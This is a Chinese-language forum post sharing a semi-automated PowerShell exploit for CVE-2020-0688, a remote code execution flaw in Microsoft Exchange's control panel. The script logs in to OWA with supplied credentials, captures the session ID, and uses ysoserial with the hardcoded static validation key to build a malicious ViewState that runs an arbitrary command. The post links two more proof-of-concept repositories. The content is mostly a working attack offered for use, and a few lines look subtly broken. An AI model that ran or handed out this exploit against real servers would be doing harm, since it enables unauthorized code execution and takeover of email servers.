CVE-2020-0688 powershell 半自动版

made

内容来自于一个朋友

需要修改的部分:

[AppleScript] 纯文本查看 复制代码

$target='https://192.168.137.2'
$username='jerry'
$pass='Admin12345'
$command='calc.exe'

ysoserial.exe 放当前目录

[AppleScript] 纯文本查看 复制代码

$target='https://192.168.137.2'
$username='jerry'
$pass='Admin12345'
$command='calc.exe'

[AppleScript] 纯文本查看 复制代码

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$destination=[uri]::EscapeDataString($target)
$response= Invoke-WebRequest -Uri "$target/owa/auth.owa" -Method "POST" -Headers @{"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36"; "Sec-Fetch-Dest"="document"; "Accept"="text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"; "Sec-Fetch-Site"="same-origin"; "Sec-Fetch-Mode"="navigate"; "Accept-Encoding"="gzip, deflate, br"; "Accept-Language"="zh-CN,zh;q=0.9,en;q=0.8";} -ContentType "application/x-www-form-urlencoded" -Body "destination=$destination%2Fecp%2Fdefault.aspx&flags=4&forcedownlevel=0&username=$username&password=$pass&passwordText=&isUtf8=1"
$Headers= $response.Headers
$cookie=$Headers['Set-cookie'] -match 'ASP.NET_SessionId=([\w\d-]+)'
$ASP_NET_SessionId=$Matches[1]
$VIEWSTATEGENERATOR='B97B4E27'
$validationkey = 'CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF'

[AppleScript] 纯文本查看 复制代码

write-host "Exec: .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c `"$command`" --validationalg=`"SHA1`" --validationkey=`"$validationkey`" --generator=`"$VIEWSTATEGENERATOR`" --viewstateuserkey=`"$ASP_NET_SessionId`" --isdebug -–islegacy"
$yso= .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c `"$command`" --validationalg=`"SHA1`" --validationkey=`"$validationkey`" --generator=`"$VIEWSTATEGENERATOR`" --viewstateuserkey=`"$ASP_NET_SessionId`" --isdebug –-islegacy
$generator=$yso -match "^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$"
$ViewState=$response.Forms[0].Fields.__VIEWSTATE
write-host "$target/ecp/default.aspx?__VIEWSTATEGENERATOR=$generator&__VIEWSTATE=$ViewState"

另外附加2个poc：

[AppleScript] 纯文本查看 复制代码

https://github.com/Jumbo-WJB/CVE-2020-0688
[url]https://github.com/random-robbie/cve-2020-0688[/url]